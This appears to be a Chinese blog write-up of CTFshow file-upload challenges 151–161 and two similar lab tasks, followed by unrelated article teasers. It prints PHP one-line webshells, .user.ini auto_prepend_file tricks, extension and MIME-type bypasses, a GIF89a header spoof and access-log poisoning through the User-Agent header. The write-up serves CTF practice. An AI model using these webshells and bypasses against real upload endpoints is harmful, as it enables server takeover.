ctfshow-文件上传-151-161
CTFshow文件上传
PHP文件上传:1、代码思路
黑名单是设置不能通过的用户,黑名单以外的用户都能通过。
phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。
2、绕过
找漏网之鱼:cer、php3、php4、phtml等。
大小写绕过:AsP、PhP
双写绕过:.pphphp
上传文件后,在后缀加上123.php可以执行刚刚上传的文件
web151:首先上传一个文件,发现不行,要求是图片格式,我们可以直接查看源代码修改一下上传文件的格式就行,把png那一部分删除掉,并且把文件类型改为file
web153: 在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?php eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php');
web154:在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?=eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php'); 或者打开蚁剑进行连接寻找目录
web155:payload和上题一样
web156:写入一句话木马的时候报错,使用排除法发现是POST[1]这边会错误,所以把[]改为{}就可以了
web157:写入一句话木马的时候会报错。使用排除法发现是分号不可用,POST[1]也不可以用,所以我们使用<?=eval(array_pop($_POST))?>,这个函数来执行一句话木马
web158:payload与157一样
web159:过滤了括号,分号,中括号大括号;但是我们可以直接把1.txt的内容改为<?=`tac /var/www/html/flag.p??`?>,直接进行绕过,使用<?=`tac f*`?>不知道为什么不可以,但是WP那边可以
web160:刚开始和之前的步骤还是一模一样,先打开F12改一下源码,把文件类型改为文件
然后打开BP开始抓
修改文件内容。名字和类型还有内容都要修改,
文件类型改为:image/png.
文件内容改为:auto_prepend_file=1.txt
文件名字改为:.user.ini
上传后再上传一个1.txt文件,文件内容为
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
这样就可以查看日志文件了,然后在upload界面添加User-Agent头文件内容为一句话木马<php eval($_POST[1]);>,然后用蚁剑连接一下这个服务器,找到flag.php就可以找到flag了
web161:发现怎么传都显示错误,后面发现是文件头那边需要改为GIF89a才可以绕过,伪造图片文件头 GIF89a,
其余部分与上方一致
攻防世界:easyupload
这道题目试了很久很久,我直接上传文件也传不了,有时候提示说你的文件很危险,我们提交一下GIF89a,然后就可以消除这个,还有一个说文件类很危险,我排除出来是<?php eval($_POST[1])?>有问题,所以我们就应该把一句话木马改一下
拓展:
auto_prepend_file的用法:
auto_prepend_file可以让所有的php文件自动的包含某个文件。什么意思?
例如在.user.ini文件中写入
auto_prepend_file=a.jpg
然后在a.jpg中写入一个一句话代码
<?=eval($_REQUEST['cmd']);?>
那么和.user.ini和a.jpg同一目录下的所有php文件都会包含a.jpg文件。
将写好的.user.ini文件上传,修改content-type为图片格式
和上面的题目没什么区别,只是一句话木马那边有区别。
最后蚁剑拿下,这边一定要找到上传点在哪里,然后再去用蚁剑链接,要不然是不行的
phar伪协议读取文件上传
这道题目只能上传压缩包和图片格式
我们把php文件压缩成zip格式
发现上传成功,这时候我们需要将bingdundun用phar伪协议读取里面的3.php文件,然后POST:1=phpinfo()看看有没有上传成功
之后通过蚁剑进行连接就可以了
相关文章:

ctfshow-文件上传-151-161
CTFshow文件上传 PHP文件上传:1、代码思路 黑名单是设置不能通过的用户,黑名单以外的用户都能通过。 phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。 2、绕过 找漏网之鱼:cer、php3、php4、phtml等。 大小写绕…...

【Windows】Microsoft Office 的 .docx .xlsx .pptx 等文件图标消失,变成空白图标
问题描述 在重新安装 Microsoft Office 后,发现 .docx、.xlsx、.pptx 等文件的图标消失,变成一个空白的图标。 原因分析 可能是由于Office组件的快捷方式和图标的注册表损坏所导致的。注册表是Windows操作系统中用来存储系统和应用程序配置信息的一个重…...

场景化运营与定制开发链动 2+1 模式 S2B2C 商城小程序的融合
摘要:本文深入探讨了场景化运营的重要性以及其在商业领域的广泛应用。通过分析电梯广告、视频网站和电商产品的场景化运营方式,引入关键词“定制开发链动 21 模式 S2B2C 商城小程序”,阐述了如何将场景化运营理念融入到该小程序的开发与推广中…...

Axure中继器实现时间读取和修改
亲爱的小伙伴,在您浏览之前,烦请关注一下,在此深表感谢! 课程主题:中继器实现时间读取和修改 主要内容:中继器内不同时间格式的向外读取,和向内赋值,实现中继器时间的修改 应用场…...
数据库聚合函数
数据库聚合函数 聚合函数 sum ,avg,max,min,count 1总分 SELECT SUM(student_result) FROM result; SELECT student_no,SUM(studet_result) FROM result WHERE student_no62平均分 avg SELECT AVG(studet_result) FROM result;3最大值 max 最小值 min SELECT MAX(studet_r…...

DevOps的文化观与工具
一、DevOps的文化 DevOps的核心文化是推动开发(Development)和运维或需求(Operations)团队之间的协作与沟通,以实现更快速、更可靠的软件交付。以下是DevOps核心文化的几个关键方面: 协作与沟通࿱…...
create-vite my-vite-uniapp-project
搭建一个使用 Vue 3、TypeScript、Vite、uni-app、uView UI库和Element Plus的项目,你可以遵循以下步骤: 安装 Node.js 和 npm。 使用以下命令全局安装 Vue CLI: npm install -g vue/cli创建一个新的 Vue 3项目,并选择 TypeScr…...

DC系列靶机-DC8
一,环境的搭建 VM17 官网下载 kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/ 靶场文件 https://download.vulnhub.com/dc/DC-8.zip 二,攻略 首先nmap一通扫; 扫描主机IP和端口; 靶机的地址…...
重构复杂简单变量之用对象替换数据值
对象替换数据值用于将简单的数据值替换为具有行为和逻辑的对象。这种优化的目的在于提高代码的可读性、灵活性和可维护性,尤其是在数据开始承载更多含义或行为的时候。 一、什么时候使用 当我们在代码中使用简单的数据值(如字符串、整数)表…...

我国首个自主可控的操作系统——华为原生鸿蒙操作系统正式发布
我国首个自主可控的操作系统——华为原生鸿蒙操作系统正式发布 在科技日新月异的今天,操作系统作为数字世界的基石,其重要性不言而喻。近日,华为公司在深圳隆重举行了原生鸿蒙操作系统发布会,向全球宣告了我国首个自主可控的移动…...

Spring Boot技术栈在论坛网站开发中的应用
2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统,它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等,非常…...

Fast-LLM:加速大型语言模型训练的开源库
在人工智能领域,大型语言模型(LLM)的训练是一个计算密集型的任务,需要高效的工具来加速这一过程。Fast-LLM就是这样一个开源库,它旨在帮助研究人员和开发者快速、灵活地训练大型语言模型。 Fast-LLM简介 Fast-LLM是一…...
物理安全(Physical Security)
物理安全(Physical Security)是指为保护人员、建筑、设备以及其他物理资产免受物理威胁(如盗窃、破坏、间谍活动、自然灾害等)的一系列措施和技术。物理安全通常涉及三个主要方面:预防、检测和响应。以下是一些关键的物…...

Go语言开发环境搭建
#1024程序员节|征文# 文档说明 本文作者:SwBack 创作时间:2022年6月8日 18:46:21 知乎:https://www.zhihu.com/people/back-88-87 CSDN:https://blog.csdn.net/qq_30817059 百度搜索: SwBack系统: Windows 11 go 1.18.2 安装包下载 安装包下载链接…...
嵌入式硬件设计:技术与实践
嵌入式系统是现代技术世界中的重要组成部分,几乎遍布所有领域,从消费电子产品、医疗设备到工业自动化和智能交通系统。嵌入式硬件设计是这一领域的核心,它涉及到对处理器、存储器、接口、传感器等多种硬件元件的选择、集成与优化,使系统能够在特定环境下执行特定任务。本文…...

vue中使用echarts,导入JSON数据画图
1、将.json文件放置在与index.html同一目录下 2、编写vue界面,在script中加载json文件 3、在script中加载处理json数据 4、用处理后的数据画图 vue界面代码如下: <script> import * as echarts from "echarts" //引入echarts核心模…...

【C++篇】探索STL之美:熟悉使用String类
CSDN 文章目录 前言 💬 欢迎讨论:如果你在学习过程中有任何问题或想法,欢迎在评论区留言,我们一起交流学习。你的支持是我继续创作的动力! 👍 点赞、收藏与分享:觉得这篇文章对你有帮助吗&…...

ETLCloud搭配MySQL | 让关系型数据库更智能
在现代数据处理领域,ETL技术和云服务正迅速成为数据管理的核心。本文将探讨如何将 ETLCloud 与 MySQL 配合使用,将不同来源的表转移到另一张表中,以最大限度地提升关系型数据库的价值和性能。 一、前期准备 环境 首先确保MySQL源数据库能够…...

Java 开发——(上篇)从零开始搭建后端基础项目 Spring Boot 3 + MybatisPlus
一、概述 记录时间 [2024-10-23] 本文是一个基于 Spring Boot 3 MybatisPlus 的项目实战开发,主要涵盖以下几个方面: 从零开始的项目创建IDEA 中开发环境的热部署Maven、Swagger3、MybatisPlus 等的配置路由映射知识静态资源访问文件上传功能实现拦截器…...

Psychophysiology:脑-心交互如何影响个体的情绪体验?
摘要 情绪的主观体验与对身体(例如心脏)活动变化的情境感知和评估相关。情绪唤醒增加与高频心率变异性(HF-HRV)降低、EEG顶枕区α功率降低以及心跳诱发电位(HEP)振幅较高有关。本研究使用沉浸式虚拟现实(VR)技术来研究与情绪唤醒相关的脑心相互作用,以实现自然而可…...
Java 语言特性(面试系列2)
一、SQL 基础 1. 复杂查询 (1)连接查询(JOIN) 内连接(INNER JOIN):返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...
<6>-MySQL表的增删查改
目录 一,create(创建表) 二,retrieve(查询表) 1,select列 2,where条件 三,update(更新表) 四,delete(删除表…...
【磁盘】每天掌握一个Linux命令 - iostat
目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat(I/O Statistics)是Linux系统下用于监视系统输入输出设备和CPU使…...

页面渲染流程与性能优化
页面渲染流程与性能优化详解(完整版) 一、现代浏览器渲染流程(详细说明) 1. 构建DOM树 浏览器接收到HTML文档后,会逐步解析并构建DOM(Document Object Model)树。具体过程如下: (…...
Qt Http Server模块功能及架构
Qt Http Server 是 Qt 6.0 中引入的一个新模块,它提供了一个轻量级的 HTTP 服务器实现,主要用于构建基于 HTTP 的应用程序和服务。 功能介绍: 主要功能 HTTP服务器功能: 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...
CSS设置元素的宽度根据其内容自动调整
width: fit-content 是 CSS 中的一个属性值,用于设置元素的宽度根据其内容自动调整,确保宽度刚好容纳内容而不会超出。 效果对比 默认情况(width: auto): 块级元素(如 <div>)会占满父容器…...
Mysql8 忘记密码重置,以及问题解决
1.使用免密登录 找到配置MySQL文件,我的文件路径是/etc/mysql/my.cnf,有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...

GO协程(Goroutine)问题总结
在使用Go语言来编写代码时,遇到的一些问题总结一下 [参考文档]:https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html 1. main()函数默认的Goroutine 场景再现: 今天在看到这个教程的时候,在自己的电…...

解读《网络安全法》最新修订,把握网络安全新趋势
《网络安全法》自2017年施行以来,在维护网络空间安全方面发挥了重要作用。但随着网络环境的日益复杂,网络攻击、数据泄露等事件频发,现行法律已难以完全适应新的风险挑战。 2025年3月28日,国家网信办会同相关部门起草了《网络安全…...
从面试角度回答Android中ContentProvider启动原理
Android中ContentProvider原理的面试角度解析,分为已启动和未启动两种场景: 一、ContentProvider已启动的情况 1. 核心流程 触发条件:当其他组件(如Activity、Service)通过ContentR…...